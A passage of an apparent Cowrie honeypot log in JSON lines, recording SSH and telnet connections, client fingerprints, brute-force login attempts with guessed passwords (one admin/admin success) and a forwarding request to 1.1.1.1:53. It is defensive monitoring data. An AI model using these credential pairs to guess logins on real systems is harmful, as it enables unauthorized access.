nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:31.008256Z","src_ip":"103.82.132.16","session":"9cafd5ec10bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwert","message":"login attempt [root/123qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:31.780641Z","src_ip":"103.82.132.16","session":"9cafd5ec10bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:33.041313Z","src_ip":"103.82.132.16","session":"9cafd5ec10bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.61.17.187","src_port":42194,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec9c40396f2","protocol":"telnet","message":"New connection: 167.61.17.187:42194 (10.17.0.5:23) [session: cec9c40396f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:40.375526Z"}
{"eventid":"cowrie.session.closed","duration":48.233038902282715,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:52.333894Z","src_ip":"152.42.224.71","session":"4ae0f88004d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.2024986743927,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:53.577903Z","src_ip":"167.61.17.187","session":"cec9c40396f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":54960,"dst_ip":"10.17.0.5","dst_port":22,"session":"055d55d6a887","protocol":"ssh","message":"New connection: 103.15.222.183:54960 (10.17.0.5:22) [session: 055d55d6a887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:57.134689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:57.139592Z","src_ip":"103.15.222.183","session":"055d55d6a887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:57.380823Z","src_ip":"103.15.222.183","session":"055d55d6a887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sokolov","message":"login attempt [root/sokolov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:58.113256Z","src_ip":"103.15.222.183","session":"055d55d6a887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:59.358747Z","src_ip":"103.15.222.183","session":"055d55d6a887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29004,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fab2bed27da","protocol":"ssh","message":"New connection: 87.251.64.176:29004 (10.17.0.5:22) [session: 7fab2bed27da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:06.638946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:06.644290Z","src_ip":"87.251.64.176","session":"7fab2bed27da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:06.741842Z","src_ip":"87.251.64.176","session":"7fab2bed27da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:07.166448Z","src_ip":"87.251.64.176","session":"7fab2bed27da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:07.295493Z","session":"7fab2bed27da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:07.394954Z","src_ip":"87.251.64.176","session":"7fab2bed27da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:07.510799Z","src_ip":"87.251.64.176","session":"7fab2bed27da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":45038,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0fe5a4be020","protocol":"ssh","message":"New connection: 103.75.183.219:45038 (10.17.0.5:22) [session: d0fe5a4be020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:19.032039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:19.036849Z","src_ip":"103.75.183.219","session":"d0fe5a4be020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:19.279124Z","src_ip":"103.75.183.219","session":"d0fe5a4be020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rabota","message":"login attempt [root/rabota] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:20.006375Z","src_ip":"103.75.183.219","session":"d0fe5a4be020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:21.251677Z","src_ip":"103.75.183.219","session":"d0fe5a4be020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":41532,"dst_ip":"159.203.135.109","dst_port":22,"session":"28b1edcfe042","protocol":"ssh","message":"New connection: 103.27.238.114:41532 (159.203.135.109:22) [session: 28b1edcfe042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:22.423061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:22.427080Z","src_ip":"103.27.238.114","session":"28b1edcfe042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:22.701840Z","src_ip":"103.27.238.114","session":"28b1edcfe042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49764,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e185ee462a6","protocol":"ssh","message":"New connection: 103.27.238.116:49764 (10.17.0.5:22) [session: 5e185ee462a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:22.966894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:22.971873Z","src_ip":"103.27.238.116","session":"5e185ee462a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:23.228692Z","src_ip":"103.27.238.116","session":"5e185ee462a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw123456","message":"login attempt [root/qw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:23.526431Z","src_ip":"103.27.238.114","session":"28b1edcfe042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987987","message":"login attempt [root/987987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:24.001762Z","src_ip":"103.27.238.116","session":"5e185ee462a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:24.803977Z","src_ip":"103.27.238.114","session":"28b1edcfe042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:25.264221Z","src_ip":"103.27.238.116","session":"5e185ee462a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.211.195.99","src_port":56072,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b41d98cc43","protocol":"telnet","message":"New connection: 115.211.195.99:56072 (159.203.135.109:23) [session: b8b41d98cc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:29.343598Z"}
{"eventid":"cowrie.session.closed","duration":12.429200410842896,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:41.772697Z","src_ip":"115.211.195.99","session":"b8b41d98cc43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.17","src_port":34964,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b0befa75baf","protocol":"ssh","message":"New connection: 154.16.115.17:34964 (10.17.0.5:22) [session: 4b0befa75baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.756776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.762305Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.790031Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:82:f0:8e:00:de:4d:c2:a9:9f:1c:fe:04:c2:20:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHuySMeXCK74B2zbabUpOVLMvCYgEUVG3dNKHk3tBPj9QrckDvWzttDZJNVTaliHf0FVfUT3rVnNWG3YufqSQrHavBc1m5bC9e+muECoEyc+mzZ/IWsrIMXz/6P05dpayaBBVTon5ObzDlQNm1E4vBjRwn1Ssor4kYSM7Rmg+NTOQgspAWR1X2o3GC+bYhnA7c2cRSQHJCs3AjgLPJ7YC8jqwKsO+MToXebD4pVg9zWUEe+8u2V7E05GrbsdO3GHv0USLZHg+QC+AsVRm8I6hOoQkp0pvS/pDmmvWIrJlmXi1lY9Q0z/55JchTsH02LrYJCiKhVG0p/6AkSnt5VX87","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:82:f0:8e:00:de:4d:c2:a9:9f:1c:fe:04:c2:20:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.906087Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:82:f0:8e:00:de:4d:c2:a9:9f:1c:fe:04:c2:20:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHuySMeXCK74B2zbabUpOVLMvCYgEUVG3dNKHk3tBPj9QrckDvWzttDZJNVTaliHf0FVfUT3rVnNWG3YufqSQrHavBc1m5bC9e+muECoEyc+mzZ/IWsrIMXz/6P05dpayaBBVTon5ObzDlQNm1E4vBjRwn1Ssor4kYSM7Rmg+NTOQgspAWR1X2o3GC+bYhnA7c2cRSQHJCs3AjgLPJ7YC8jqwKsO+MToXebD4pVg9zWUEe+8u2V7E05GrbsdO3GHv0USLZHg+QC+AsVRm8I6hOoQkp0pvS/pDmmvWIrJlmXi1lY9Q0z/55JchTsH02LrYJCiKhVG0p/6AkSnt5VX87","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.909868Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:7f:16:c5:64:68:ba:4d:e6:7e:f7:9e:8e:2e:2c:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1vWVWbFFCZB2H3upkQcbWgDSHUGZ7LyG1mB2FsJIjqqcBqjU9uGKBx/hWE7DTfZhVh2+rH9CT3/95RV86DurkEXSLC6LFAMQHcAnQdS5cRYBFWNH49aOSrvmS5qiSFrWlv8kVcqMri9a4Xqar9UkwuCHJHMVM72tIZ4EYQ0ZIZwGbdCKTljVtcAx1jI+ol6rtJ0mEhXu4IaphUljybAgCnh5wwbuh0+2Dvkx1MNfYdYeijxMLV0w8U2Q9h688+wxMjNTGfPUVHLnFuYQH5IIeqAy5N8L4ZmL+WLbbieL9lyiCelcKLtTLejFNIQOjPiz1Ew0SifsoDZhYPsdBH32x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:7f:16:c5:64:68:ba:4d:e6:7e:f7:9e:8e:2e:2c:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.937991Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
